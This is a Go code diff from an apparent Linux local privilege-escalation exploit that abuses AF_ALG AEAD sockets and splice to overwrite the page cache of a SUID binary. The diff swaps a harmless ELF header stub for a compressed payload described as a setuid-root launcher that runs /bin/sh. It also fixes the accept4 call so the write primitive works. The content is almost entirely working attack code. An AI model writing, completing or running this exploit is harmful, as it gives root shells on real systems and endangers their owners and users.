@@ -52,12 +52,10 @@ import (
5252 "golang.org/x/sys/unix"
5353)
5454
55- // copyFailPayloadHex is a zlib-compressed ELF64 little-endian binary stub
56- // (160 bytes uncompressed) to be injected into the SUID target's page cache.
57- // The stub starts with a valid ELF64/x86-64 header (magic 0x7fELF, class 2,
58- // data encoding 1) so it passes the kernel's ELF loader checks.
59- // Generated with: python3 -c "import zlib,struct; h=bytearray(160); h[0:4]=b'\x7fELF'; h[4]=2; h[5]=1; h[6]=1; struct.pack_into('<H',h,16,2); struct.pack_into('<H',h,18,0x3e); struct.pack_into('<I',h,20,1); struct.pack_into('<H',h,52,64); print(zlib.compress(bytes(h)).hex())"
60- const copyFailPayloadHex = "789cab77f57163626464800126063b06040f3b7020204f4d0000163d01dc"
55+ // copyFailPayloadHex is the original zlib-compressed x86_64 ELF payload used
56+ // by the reference Python PoC. It replaces the target SUID binary's page cache
57+ // with a tiny setuid-root launcher that eventually executes `/bin/sh`.
58+ const copyFailPayloadHex = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
6159
6260// copyFailDecompressPayload decompresses the embedded zlib payload.
6361func copyFailDecompressPayload () ([]byte , error ) {
@@ -91,6 +89,24 @@ func buildAlgCmsg(level, typ int32, data []byte) []byte {
9189 return buf
9290}
9391
92+ // acceptAlgOpFd accepts the operation socket from an AF_ALG listener. Unlike
93+ // the generic unix.Accept helper, AF_ALG expects addr/addrlen to be NULL.
94+ func acceptAlgOpFd (algFd int ) (int , error ) {
95+ fd , _ , errno := unix .Syscall6 (
96+ unix .SYS_ACCEPT4 ,
97+ uintptr (algFd ),
98+ 0 ,
99+ 0 ,
100+ uintptr (unix .SOCK_CLOEXEC ),
101+ 0 ,
102+ 0 ,
103+ )
104+ if errno != 0 {
105+ return 0 , errno
106+ }
107+ return int (fd ), nil
108+ }
109+
94110// copyFailWriteChunk uses an AF_ALG AEAD socket together with splice to write
95111// exactly four bytes of chunk into the page cache of the file identified by fd
96112// at the given byte offset.
@@ -142,7 +158,8 @@ func copyFailWriteChunk(fd int, offset int, chunk []byte) error {
142158 }
143159
144160 // Accept returns the operation socket used for actual encrypt/decrypt calls.
145- opFd , _ , err := unix .Accept (algFd )
161+ // AF_ALG sockets expect accept4(..., NULL, NULL, SOCK_CLOEXEC).
162+ opFd , err := acceptAlgOpFd (algFd )
146163 if err != nil {
147164 return fmt .Errorf ("accept: %v" , err )
148165 }
0 commit comments